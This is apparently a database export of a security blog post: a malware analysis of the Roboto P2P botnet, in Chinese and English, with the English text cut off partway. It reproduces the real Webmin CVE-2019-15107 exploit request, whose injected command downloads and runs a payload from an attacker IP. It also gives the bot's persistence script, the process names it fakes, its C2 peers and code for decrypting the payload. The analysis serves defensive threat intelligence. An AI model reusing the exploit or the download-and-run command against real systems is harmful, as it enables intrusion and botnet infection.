IoC list
样本MD5
4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7
加密后的Roboto Bot程序MD5
image.jpg de14c4345354720effd0710c099068e7
image2.jpg 69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc f47593cceec08751edbc0e9c56cad6ee
roboto.ttf 3020c2a8351c35530ab698e298a5735c
URL
http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg
硬编码Peer IP
95.216.17.209 Finland ASN 24940 Hetzner Online GmbH
213.159.27.5 Italy ASN 201474 Aircom Service srl
186.46.45.252 Ecuador ASN 28006 CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45 Australia ASN 1221 Telstra Corporation Ltd
66.113.179.13 United States ASN 14280 NetNation Communications Inc
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n2019年8月26号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(4cd7bcd0960a69500aa80f32762d72bc)，目前在VirusTotal上显示仅有2款杀毒引擎检测识别。通过详细分析，我们确定这是一款基于P2P通信的Bot程序，并对它保持关注。\n\n2019年10月11号，我们通过Anglerfish蜜罐捕获到另一个可疑的ELF样本(4b98096736e94693e2dc5a1361e1a720)，并且正是那个可疑的ELF样本的Downloader。这个Downloader样本会从2个硬编码的HTTP链接中下载Bot程序，其中一个下载地址把这个Bot样本伪装成Google的一个字体库“roboto.ttc”，所以我们将这个Botnet命名为Roboto。\n\n我们已经持续关注了Roboto Botnet近3个月的时间，并在本文披露它的一些技术特征。\n\n## Roboto Botnet概览\n目前，我们捕获到了Roboto Botnet的Downloader和Bot模块。根据它的传播方式和Bot样本特征，我们推测它还存在漏洞扫描模块和P2P控制模块。\n<a href=\"__GHOST_URL__/content/images/2019/11/Roboto.png\"><img src=\"__GHOST_URL__/content/images/2019/11/Roboto.png\" class=\"kg-image\"/></a>Roboto Botnet主要支持7种功能：反弹Shell，自卸载，获取进程网络信息，获取Bot信息，执行系统命令，运行指定URL中的加密文件，DDoS攻击等。同时，它还使用Curve25519，Ed25519，TEA，SHA256，HMAC-SHA256等算法来保证自身组件和P2P网络的完整性和安全性，根据目标系统创建相应的Linux自启动脚本，并伪装自身的文件和进程名来实现持久化控制。\n\n我们认为Roboto Botnet虽然具备DDoS功能，但是它并不是以DDoS为主要目的。我们也还没有捕捉到它的DDoS攻击指令，虽然从逆向样本分析的角度上看到Bot支持7种功能，但是我们也还不清楚它的真实目的。\n\n## 传播方式\n2019年10月11号，我们通过Anglerfish蜜罐观察到```51.38.200.230```通过Webmin RCE漏洞(CVE-2019-15107)传播Roboto Downloader样本```4b98096736e94693e2dc5a1361e1a720```，其下载URL为```http://190.114.240.194/boot```，以下为漏洞利用Payload。\n\n```\nPOST /password_change.cgi HTTP/1.1\nHost: {target}:10000\nUser-Agent: Go-http-client/1.1\nAccept: */*\nReferer: https://{target}:10000/session_login.cgi\nCookie: redirect=1; testing=1; sid=x; sessiontest=1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 270\n\nuser=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26% \n```\n我们可以看到，```51.38.200.230```开放了Webmin服务（TCP/10000），这跟它的扫描目标是一样的，所以我们猜测它是被Roboto Botnet感染后用来做网络扫描的。\n\n## 逆向分析\n### Roboto Downloader 样本分析\n- MD5: 4b98096736e94693e2dc5a1361e1a720\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Library: musl-libc\n\nRoboto Downloader的主要功能是根据受害者机器的CPU架构，从指定的URL下载相应加密的Roboto Bot程序，然后解密并执行。\n\n目前，Roboto Downloader支持i386和x86_64俩种架构\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_arch.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_arch.png\" class=\"kg-image\"/></a>\n\nRoboto Downloader样本硬编码URL里存储着加密后的Roboto Bot程序，如图所示每组URL都有对应的解密Key和SHA256校验值\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_res_2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_res_2.png\" class=\"kg-image\"/></a>\n\n以image2.jpg为例，它的SHA256哈希值是和Roboto Downloader样本中硬编码的SHA256哈希值是一致的\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_res_sha256.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_res_sha256.png\" class=\"kg-image\"/></a>\n\n解密算法如下，Key长度为８字节，每一轮会计算新的XOR Key\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_xor.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_xor.png\" class=\"kg-image\"/></a>\n\n解密后，就得到了Roboto Bot样本。\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_dec.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_dec.png\" class=\"kg-image\"/></a>\n\n当不知道初始XOR Key时，利用XOR加密算法的特性，根据elf_header[0x8:0xf]值常为0的特点，可以使用如下方法解密Bot文件。\n```c++\n\tfstream file(filename, ios::binary | ios::in);\n\tfile.read((char*)fstr.data(), fsize);\n\tfile.close();\n\tstring skey(fstr, 8, 8);\n\treverse(skey.begin(), skey.end());\n\tuint64_t *sskey = (uint64_t*)&skey[0];\n\tcout << hex << \"sskey= \" << *sskey << endl;\n\tfstr[0] = '\\x7F';\n\tfstr[1] = 'E';\n\tfstr[2] = 'L';\n\tfstr[3] = 'F';\n\tfstr[6] = '\\x01';\n\tfstr[7] = '\\x00';\n\tfsize -= 8;\n\tuint64_t cnt = fsize / 8;\n\tuint8_t rmd = fsize % 8;\n\tfor (uint64_t i = 0; i < cnt; i++) {\n\t\tfor (int j = 0; j < 8; j++)\n\t\t{\n\t\t\tfstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);\n\t\t}\n\t\tuint64_t rnda = *sskey << 13 ^ *sskey;\n\t\tuint64_t rndb = rnda >> 7 ^ rnda;\n\t\tuint64_t rndc = rndb << 17 ^ rndb;\n\t\t*sskey = rndc;\n\t}\n\tfor (uint8_t i = 0; i < rmd; i++)\n\t{\n\t\tfstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);\n\t}\n\tif (fstr[42] == '\\x20' && fstr[46] == '\\x28')\n\t{\n\t\tfstr[4] = '\\x01';\n\t\tfstr[5] = '\\x01';\n\t}\n\tif (fstr[43] == '\\x20' && fstr[47] == '\\x28')\n\t{\n\t\tfstr[4] = '\\x01';\n\t\tfstr[5] = '\\x02';\n\t}\n\tif (fstr[54] == '\\x38' && fstr[58] == '\\x40')\n\t{\n\t\tfstr[4] = '\\x02';\n\t\tfstr[5] = '\\x01';\n\t}\n\tif (fstr[55] == '\\x38' && fstr[59] == '\\x40')\n\t{\n\t\tfstr[4] = '\\x02';\n\t\tfstr[5] = '\\x02';\n\t}\n```\n\n\n### Roboto Bot 样本分析\n- MD5: d88c737b46f1dcb981b4bb06a3caf4d7\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Library: musl-libc\n\nRoboto Bot是通过P2P协议加密通信，主要支持7种功能：反弹Shell，自卸载，获取进程网络信息，获取Bot信息，执行系统命令，运行指定URL中的加密文件，DDoS攻击等。另外它为了实现长期驻留目标系统，它会在系统上增加自启动脚本并伪装了自身的文件和进程名。\n\n#### 持久化\n* 根据不同Linux系统发行版本，创建相应的自启动脚本```/etc/init.d/dns-clear```或者```systemd-hwdb-upgrade.service```\n ```\n #! /bin/sh\n\n ### BEGIN INIT INFO\n # Provides: dns-clear\n # Required-Start: $local_fs $remote_fs $network\n # Required-Stop: $local_fs\n # Default-Start: 1 2 3 4 5\n # Default-Stop:\n # Short-Description: Cleans up any mess left by 0dns-up\n ### END INIT INFO\n\n PATH=/sbin:/bin:/usr/sbin:/usr/bin\n\n case \"$1\" in\n start)\n /usr/lib/libXxf86dag.so.1.0.0 &\n ;;\n *)\n ;;\n esac\n\n exit 0\n ```\n\n* 用于伪装的进程名\n ```\n (sd-pam)\n /sbin/rpcbind\n /usr/bin/python\n upstart-socket-bridge\n /usr/sbin/irqbalance\n /lib/systemd/systemd-udevd\n /usr/libexec/postfix/master\n ```\n\n* 用于伪装的文件名\n ```\n libXxf86dag.so\n .node_repl_history.gz\n ```\n \n#### 硬编码Peer信息\nRoboto Bot硬编码了4组Peer信息，其结构为**IP: PORT: Curve25519_Pub Key**\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_c2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_c2.png\" class=\"kg-image\"/></a>\n\n```\nPeer 1:\n\t213.159.27.5:57491\nPubkey:\n\t8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4 \n\t7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79\n\nPeer 2:\n\t186.46.45.252:52085\nPubkey:\n\t93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D \n\t41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B\n\nPeer 3:\n\t95.216.17.209:57935\nPubkey:\n\tE8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05 \n\tF2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E\n\nPeer 4:\n\t120.150.43.45:49252\nPubkey:\n\tE7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7 \n\tF3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20\n \n```\n\n在样本```4cd7bcd0960a69500aa80f32762d72bc```中的第3个Peer做了以下修改。\n\n```\nPeer 3:\n\t66.113.179.13:33543\nPubkey:\n\tB3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B \n\t2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E\n```\n\n\n#### 加密校验\nRoboto Bot使用了Curve25519，TEA，HMAC-SHA256等算法来实现数据的加密及有效性验证，这一手段在cfg文件及数据报文的生成中大量使用。\n\n大致流程如图所示\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_flow.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_flow.png\" class=\"kg-image\"/></a>\n\n**Curve25519_PrivateKey**通过/dev/urandom生成。\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_priv.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_priv.png\" class=\"kg-image\"/></a>\n\n\n\n#### cfg文件\nRoboto Bot会根据运行权限的不同，将生成的cfg文件存储在不同的文件位置。\n\n```\n$home/.config/trolltech.conf //以普通用户权限运行\n/etc/iproute2/rt_ksfield //以root用户权限运行\n```\n\ncfg文件中存有私钥，加密数据，以及加密数据的HMAC-SHA256值，每小时更新一次，加密数据由Peer和Port信息组成，其结构为*peer:length:data,pcfg:length:data*。<a href=\"__GHOST_URL__/content/images/2019/11/rob_cfg.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cfg.png\" class=\"kg-image\"/></a>cfg文件解密示例\n```\n前0x20字节，Curve25519私钥\n 68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8 \n E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63\n最后0x20字节,加密数据（0x20-0x165）的hmac-sha256值\n 1B 64 C4 FD 65 C0 95 9B 6F B1 D7 C1 75 31 DA 5A \n 01 EC E1 52 06 25 E9 7D A1 9B 57 E5 CA 67 2B D6\n \n参照前文加密校验流程，\n1. 生成PublicKey:\n 52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8 \n 3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24\n\n2. 使用后16字节，每个DWORD逆序，做为TEA的加密Key:\n 58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62\n\n3. 使用上一步Key加密常量明文,得到XOR Key:\n 第一轮: ED 16 FB 00 46 4F 94 99\n\n4. XOR解密，每8字节，重复步骤4，更新XOR Key:\n 密文: 9D 73 9E 72 76 4E DE 99\n 明文: peer\\x30\\x01\\x4a\\x00\\x00\n```\n\n因此，我们知道Peer共有0x130字节信息，依此类推可解出密文(8E 3C 1F 93 B1 C9)的明文为(pcfg\\x04\\x00)。\n\n\n#### P2P 控制模块\nRoboto Bot可以通过Unix域套接字进行控制，绑定的路径为```/tmp/.cs```\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_unixpro.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_unixpro.png\" class=\"kg-image\"/></a>\n\n通过以下代码开启受控线程\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_csm.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_csm.png\" class=\"kg-image\"/></a>\n\n我们在Roboto Bot样本中没有发现设置环境变量“CS”的相关代码，因此我们推测它存在Roboto P2P控制模块。它会启动一个进程，同时设置环境变了“CS”，并通过Unix域套接字控制Roboto Bot模块，此时，这个P2P节点就是Roboto Botnet的P2P网络中的控制节点。\n我们通过Roboto Bot模块可以反推P2P控制模块的相关功能，当然这些函数名字就很直观。\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_domsock.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_domsock.png\" class=\"kg-image\"/></a>\n\n我们通过劫持Roboto Bot程序，测试了部分控制指令，以下是一些测试效果。\n```info```指令，会显示硬编码的信息和公钥信息，其中```v17```疑似程序版本号。<a href=\"__GHOST_URL__/content/images/2019/11/rob_info.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_info.png\" class=\"kg-image\"/></a>```peers```指令，会显示Roboto Bot当前连接的P2P节点信息<a href=\"__GHOST_URL__/content/images/2019/11/rob_peerinfo.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_peerinfo.png\" class=\"kg-image\"/></a>\n\n#### Bot 功能\n* 反弹Shell\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_shell.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_shell.png\" class=\"kg-image\"/></a>\n\n* 自卸载\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_clear-2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_clear-2.png\" class=\"kg-image\"/></a>\n* 执行系统命令\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_system.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_system.png\" class=\"kg-image\"/></a>\n* 获取进程网络信息（遍历进程列表，获取进程，网络和crontab文件信息），并上传给指定HTTP接口\n```\n/proc/%s/exe\n/proc/%s/cmdline\n/proc/net/tcp\n/proc/net/udp\ncrontab\n```\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_cinfo1.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cinfo1.png\" class=\"kg-image\"/></a>\n* 获取Bot信息，并上传给指定HTTP接口\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_cinfo3.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cinfo3.png\" class=\"kg-image\"/></a>\n* 运行指定URL中的加密文件（跟Roboto Downloader功能类似）\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_http.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_http.png\" class=\"kg-image\"/></a>\n\n* DDoS攻击\nBot会根据运行权限的不同提供了4个DDoS攻击向量，包括：ICMP Flood，HTTP Flood，TCP Flood，UDP Flood。<a href=\"__GHOST_URL__/content/images/2019/11/rob_atk.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_atk.png\" class=\"kg-image\"/></a>\n\n\n#### P2P 通信协议\nRoboto Bot在P2P通信协议的基础上，使用了Curve25519，TEA，HMAC-SHA256等算法，保障数据的完整性和安全性，其加密的Key来源于Bot和C2信息中的公钥所产生的Curve25519_SharedKey。数据包的格式为index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf]，所以大于21字节的数据包是包含有效信息的。\n\n###### P2P 节点发现数据校验\n请求包的长度为固定的69字节,数据并未被加密，内容为目标Peer的公钥和Bot的公钥。Peer在收到Bot的请求包后，若与自身的公钥一致就会与Bot建立连接，然后通过公钥计算出SharedKey，在随后通信的过程中，带有效信息的报文（长度大于21字节）都会被加密。\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_hello.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_hello.png\" class=\"kg-image\"/></a>\n\n###### P2P 节点发现数据解密\n以本地运行的Roboto Bot样本和硬编码的Peer（186.46.45.252）的通信，并获得新的Peer节点87.249.15.18:63104为例。\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_hellosrv.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_hellosrv.png\" class=\"kg-image\"/></a>\nBot发包，69个字节\n```\nindex: 00 00 00 00 \ntype: 2\ndata:\n\t 0-31: C2 Curve25519_PublicKey\n\t\t93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D \n\t\t41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B\n\t32-63: Bot Curve25519_PublicKey\n\t\t52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8 \n\t\t3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24\n\n```\nPeer回包，60个字节，\n```\nindex: 00 00 00 00\ntype: 00\ndata:\n\tcmdtype:\n\t\t4f \n\tip:port\n\t\t44 be 1c 18 da 42 \n\tPublibcKey:\n\t\t7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25 \n\t\t3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f\n\tHmac-sha256[0:0xf]\t\n\t\tb5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e\n\n```\n\n模拟解密校验流程\n```\n1. Bot的私钥和Peer的公钥生成共享密钥\nSharedKey:\n 28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8 \n B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D\n2. 使用数据HMAC-SHA256值的前16字节校验数据\n\tHMAC-SHA256[0:0XF]=\n\tb5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e\n\n3. 使用共享密钥前16字节，每个DWORD逆序，做为TEA的加密key:\n\tA8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32\n4. 使用上一步key加密常量明文,得到xor key:\n\t第１轮: 4E 13 47 13 0A 2C C2 6A\n\t第２轮: B0 68 BD EB 9B 29 10 23\n\t第３轮: AD B4 3D 34 40 C0 3D FC\n\t第４轮: 31 1E 6B F0 EA D5 8E 65\n\t第５轮: D1 1C 42 58 2A 0C 7D A4\n5. XOR解密，每8字节，重复步骤4，更新xor key,最终得到明文\n cmdtype:\n 01\n ip:port:\n 57 F9 0F 12 :F6 80 (87.249.15.18:63104)\n PublicKey:\t\n 14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18 \n C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02\n\t\n```\n从以下网络数据包中，我们可以看到```87.249.15.18:63104```正是我们计算出的新节点。\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_secpeer.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_secpeer.png\" class=\"kg-image\"/></a>\n\n###### 攻击指令验签\n在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Roboto节点。为保证Roboto网络的完全可控，不被他人窃取，Roboto需要对每一个攻击指令做签名验签，只有能够通过签名验签的攻击消息才能被Roboto节点接受，并执行。\nRoboto采用的验签方法为ED25519，这是一个公开的数字签名算法。与此同时，验签公钥为：```60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C```，该公钥被集成到了每一个Roboto Bot样本中。\n\n### 处置建议\n我们建议Webmin用户根据Roboto Botnet创建的进程，文件名以及UDP网络连接特征，判断是否被感染，然后清理Roboto Botnet的进程和文件。\n\n我们建议读者对Roboto Botnet相关IP，URL和域名进行监控和封锁。\n\n\n### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n#### IoC list\n样本MD5\n```\n4b98096736e94693e2dc5a1361e1a720\n4cd7bcd0960a69500aa80f32762d72bc\nd88c737b46f1dcb981b4bb06a3caf4d7\n```\n\n加密后的Roboto Bot程序MD5\n```\nimage.jpg de14c4345354720effd0710c099068e7\nimage2.jpg 69e1cccaa072aedc6a9fd9739e2cdf90\nroboto.ttc f47593cceec08751edbc0e9c56cad6ee\nroboto.ttf 3020c2a8351c35530ab698e298a5735c\n```\nURL\n```\nhttp://190.114.240.194/boot\nhttp://citilink.dev6.ru/css/roboto.ttc\nhttp://citilink.dev6.ru/css/roboto.ttf\nhttp://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg\nhttp://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg\n```\n硬编码Peer IP \n```\n95.216.17.209 \tFinland \tASN 24940 \tHetzner Online GmbH \n213.159.27.5 \tItaly \tASN 201474 \tAircom Service srl \n186.46.45.252 \tEcuador \tASN 28006 \tCORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP\n120.150.43.45 \tAustralia \tASN 1221 \tTelstra Corporation Ltd\n66.113.179.13 \tUnited States \tASN 14280 \tNetNation Communications Inc\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5dd271c37646030007b258f6 |
post | null | 2019-11-20T01:58:39.000Z | 63873b9a8b1c1e0007f52f5b | the-awaiting-roboto-botnet-en | 0 | 2022-02-09T07:10:37.000Z | public | published | null | 2019-11-20T14:00:00.000Z | The awaiting Roboto Botnet | <!--kg-card-begin: markdown--><h2 id="backgroundintroduction">Background introduction</h2>
<p>On August 26, 2019, our 360Netlab Unknown Threat Detection System highlighted a suspicious ELF file (4cd7bcd0960a69500aa80f32762d72bc) and passed along to our researchers to take a closer look, upon further analysis, we determined it is a P2P bot program.</p>
<p>Fast forwarded to October 11, 2019, our Anglerfish honeypot captured another suspicious ELF sample (4b98096736e94693e2dc5a1361e1a720), and it turned out to be the Downloader of the previous suspicious ELF sample. The Downloader sample downloads the above Bot program from two hard-coded HTTP URLs. One of the addresses disguised the Bot sample as a Google font library "roboto.ttc", so we named the Botnet Roboto.</p>
<p>We have been tracking the Roboto Botnet for nearly three months and here are some of its technical features.</p>
<h2 id="robotobotnetoverview">Roboto Botnet overview</h2>
<p>Currently, we have captured the Downloader and Bot modules of the Roboto Botnet, and we speculate that it also has a vulnerability scanning module and a P2P control module.<br>
<a href="__GHOST_URL__/content/images/2019/11/Roboto.png"><img src="__GHOST_URL__/content/images/2019/11/Roboto.png" class="kg-image"/></a><br>
Roboto Botnet mainly supports 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack, etc.</p>
<p>At the same time, it also uses Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 and other algorithms to ensure the integrity and security of its components and P2P network, create the corresponding Linux self-starting script based on the target system, and disguise its own files and processes name to gain persistence control.</p>
<p>Roboto Botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to captured a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.</p>
<h2 id="propagation">Propagation</h2>
<p>On October 11th, 2019, the Anglerfish honeypot caught <code>51.38.200.230</code>spreading Downloader sample <code>4b98096736e94693e2dc5a1361e1a720</code> via the Webmin RCE vulnerability (CVE-2019-15107) . The download URL is <code>http://190.114.240.194/boot</code>, the following is the exploit Payload.</p>
<pre><code>POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%
</code></pre>
<p>We can see that <code>51.38.200.230</code> itself also has the same Webmin service (TCP/10000) open, guess it was also infected.</p>
<h2 id="reverseanalysis">Reverse analysis</h2>
<h3 id="robotodownloadersampleanalysis">Roboto Downloadersample analysis</h3>
<ul>
<li>MD5: 4b98096736e94693e2dc5a1361e1a720</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Library: musl-libc</p>
</blockquote>
<p>The main function of Roboto Downloader is to download the corresponding encrypted Roboto Bot program from the specified URL according to the CPU architecture of the victim machine, and then decrypt and execute it.</p>
<p>Currently, Roboto Downloader supports both i386 and x86_64 architectures.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_arch.png"><img src="__GHOST_URL__/content/images/2019/11/rob_arch.png" class="kg-image"/></a></p>
<p>The Roboto Downloader sample hard-coded URL stores the encrypted Roboto Bot program. Each group of URLs has a corresponding decryption key and SHA256 check value.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_res_2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_res_2.png" class="kg-image"/></a></p>
<p>Take image2.jpg as an example. Its SHA256 hash value is consistent with the hard-coded SHA256 hash value in the Roboto Downloader sample.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_res_sha256.png"><img src="__GHOST_URL__/content/images/2019/11/rob_res_sha256.png" class="kg-image"/></a></p>
<p>The decryption algorithm is as follows, the Key length is 8 bytes, and each round will calculate a new XOR Key.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_xor.png"><img src="__GHOST_URL__/content/images/2019/11/rob_xor.png" class="kg-image"/></a></p>
<p>After decrypting, we got the Roboto Bot sample.<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_dec.png"><img src="__GHOST_URL__/content/images/2019/11/rob_dec.png" class="kg-image"/></a></p>
<p>The initial XOR Key is not known, but the characteristics of the XOR encryption algorithm can be used to get the bot file.<br>
According to the feature that the value of elf_header[0x8:0xf] is often 0, the Bot file can be decrypted by the following method.</p>
<pre><code class="language-c++"> fstream file(filename, ios::binary | ios::in);
file.read((char*)fstr.data(), fsize);
file.close();
string skey(fstr, 8, 8);
reverse(skey.begin(), skey.end());
uint64_t *sskey = (uint64_t*)&skey[0];
cout << hex << "sskey= " << *sskey << endl;
fstr[0] = '\x7F';
fstr[1] = 'E';
fstr[2] = 'L';
fstr[3] = 'F';
fstr[6] = '\x01';
fstr[7] = '\x00';
fsize -= 8;
uint64_t cnt = fsize / 8;
uint8_t rmd = fsize % 8;
for (uint64_t i = 0; i < cnt; i++) {
for (int j = 0; j < 8; j++)
{
fstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);
}
uint64_t rnda = *sskey << 13 ^ *sskey;
uint64_t rndb = rnda >> 7 ^ rnda;
uint64_t rndc = rndb << 17 ^ rndb;
*sskey = rndc;
}
for (uint8_t i = 0; i < rmd; i++)
{
fstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);
}
if (fstr[42] == '\x20' && fstr[46] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x01';
}
if (fstr[43] == '\x20' && fstr[47] == '\x28')
{
fstr[4] = '\x01';
fstr[5] = '\x02';
}
if (fstr[54] == '\x38' && fstr[58] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x01';
}
if (fstr[55] == '\x38' && fstr[59] == '\x40')
{
fstr[4] = '\x02';
fstr[5] = '\x02';
}
</code></pre>
<h3 id="robotobotsampleanalysis">Roboto Bot sample analysis</h3>
<ul>
<li>MD5: d88c737b46f1dcb981b4bb06a3caf4d7</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Library: musl-libc</p>
</blockquote>
<p>As aforementioned, Roboto Bot has server build in functions and disguise itself on the victim host.</p>
<h4 id="disguise">Disguise</h4>
<ul>
<li>
<p>Create self-starting script based on the release version of the Linux system <code>/etc/init.d/dns-clear</code> or <code>systemd-hwdb-upgrade.service</code></p>
<pre><code>#! /bin/sh
### BEGIN INIT INFO
# Provides: dns-clear
# Required-Start: $local_fs $remote_fs $network
# Required-Stop: $local_fs
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: Cleans up any mess left by 0dns-up
### END INIT INFO
PATH=/sbin:/bin:/usr/sbin:/usr/bin
case "$1" in
start)
/usr/lib/libXxf86dag.so.1.0.0 &
;;
*)
;;
esac
exit 0
</code></pre>
</li>
<li>
<p>Fake Process names</p>
<pre><code>(sd-pam)
/sbin/rpcbind
/usr/bin/python
upstart-socket-bridge
/usr/sbin/irqbalance
/lib/systemd/systemd-udevd
